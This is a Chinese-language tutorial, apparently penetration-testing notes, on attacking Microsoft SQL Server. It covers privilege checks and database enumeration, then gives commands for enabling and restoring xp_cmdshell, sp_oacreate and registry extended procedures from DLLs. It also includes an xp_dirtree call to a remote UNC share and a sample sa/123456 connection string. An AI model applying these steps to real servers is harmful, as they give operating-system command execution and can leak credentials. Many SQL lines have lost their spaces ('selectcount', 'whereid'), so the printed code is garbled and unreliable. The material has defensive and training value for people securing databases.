一、SQL server概述
SQL Server是Microsoft开发的关系数据库管理系统(RDBMS)。它是市场上最受欢迎的DBMS之一。SQL Server具有极其广泛的用途,它可以在各个方面使用,小到存储个人博客的内容到大到存储客户数据。
SQL Server的常见角色是:
- Sysadmin角色:SQL Server管理员。
- Public角色:最低特权,类似于Windows中的everyone组。
SQL SERVER手册
https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-addextendedproc-transact-sql?view=sql-server-ver15
SQL server攻击思路及文章:
简书:https://www.jianshu.com/p/68f7e51a6aee
谢公子:https://www.anquanke.com/post/id/200154
二、SQL server基础操作
SQL server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR DELAY '0:0:2'
SQLServer有三个权限级别:
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
db权限:文件管理,数据库操作等权限 users-administrators
public权限:数据库操作 guest-users
(1)判断当前用户权限
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
(2)SQL server数据库类型判断

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。
- master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
- model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
- msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

(3)SQL server查询语句
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
selectuser; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit2,3#查询第2条开始的3条数据,也就是2,3,4
selectsubstring('string',2,1) #截取给定字符串的索引为2的1个字符
selectascii('a') #查询给定字符串的ascii值
selectlen('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
#判断是否是SA权限
select is_srvrolemember('sysadmin')
#判断是否是db_owner权限
select is_member('db_owner')
#判断是否是public权限
select is_srvrolemember('public')
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
count(name)是查询总数
name是查询名字
*是查询详细信息
#查询数据库
selectcount(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
selectnamefrom sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息
#查询数据表
selectcount(name) from sysobjects wheretype='U'#查询当前数据库中表的个数
selectnamefrom sysobjects wheretype='U'#查询当前数据库中所有表的名字
select * from sysobjects wheretype='U'#查询当前数据库的所有表的详细信息
selectcount(name) from test..sysobjects where xtype='U'#查询指定test数据库中表的个数
selectnamefrom test..sysobjects where xtype='U'#查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'#查询指定test数据库中表的详细信息
#查询列
selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询当前数据库的指定users表的列的个数
selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询当前数据库的指定users表的列的详细信息
selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询指定test数据库的指定users表的列的个数
selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users') #查询指定test数据库的指定users表的列的详细信息
#查询数据
selectcount(*) from test..users
#查询test数据库user表的数据的条数
select * from test..users
#查询test数据库user表的所有数据
二、SQL数据库利用点
2.1在SA权限下危险的存储过程
(1)xp_cmdshell
查询xp_cmdshell存储过程是否存在
xtype为对象类型,xtype='x',表示存储过程的对象类型为扩展存储过程。
payload:
select * from master.dbo.sysobjects where xtype='x'andname='xp_cmdshell' selectcount(*) FROM master..sysobjects Where xtype = 'X'ANDname = 'xp_cmdshell'#结果是1 xp_cmdshell打开


TSQL代码判断是否开启xp_cmdshell【T-SQL概述SQL Server用于操作数据库的编程语言为Transaction-SQL】
declare @RunningOnACluster char(1)
declare @xp_cmdshell_available char(1)
declare @resultint
set @xp_cmdshell_available='Y'
set @result=0
select @RunningOnACluster=case
whenconvert(int, serverproperty('IsClustered')) = 1then'Y'
else'N'
end
if(0=(select value_in_use from sys.configurations wherename='xp_cmdshell'))
set @xp_cmdshell_available='N'if @RunningOnACluster='Y'
begin
if @xp_cmdshell_available='Y'
select @result=1
if @xp_cmdshell_available='N'
select @result=2
end
select @result
恢复xp_cmdshell存储过程
方法一
开启xp_cmdshell存储过程,解决消息15281报错,在SA权限下SQL server组织对xp_cmdshell的过程

#两条同时执行
exec sp_configure 'showadvanced options', 1; reconfigure with override ;
exec sp_configure 'xp_cmdshell',1; reconfigure with override ;

方法二
(2)解决Error Message:未能找到存储过程 ‘master..xp_cmdshell’。
第一步先删除:
dropprocedure sp_addextendedproc
dropprocedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
第二步恢复:
dbcc addextendedproc("sp_oacreate","odsole70.dll") dbcc addextendedproc("xp_cmdshell"," ")
/* addextendedproc:将新扩展存储过程的名称注册到 Microsoft SQL Server【后续版本的 Microsoft SQL Server 将删除该功能。后续会使用CLR集成】 */

方法三
直接恢复,不管sp_addextendedproc是不是存在,需要自行上传xplog70.dll,恢复扩展存储过过程xp_cmdshell的语句:
dbcc addextendedproc("xp_cmdshell","xplog70.dll")
代码判断 系列存储过程是否存在,若不存在则恢复。
if not exists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_cmdshell]'))
dbcc addextendedproc ('xp_cmdshell','xplog70.dll')
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_dirtree]'))
dbcc addextendedproc ('xp_dirtree','xpstar.dll')
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_fixeddrives]'))
dbcc addextendedproc ('xp_fixeddrives','xpstar.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regwrite]'))
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regread]'))
dbcc addextendedproc ('xp_regread','xpstar.dll')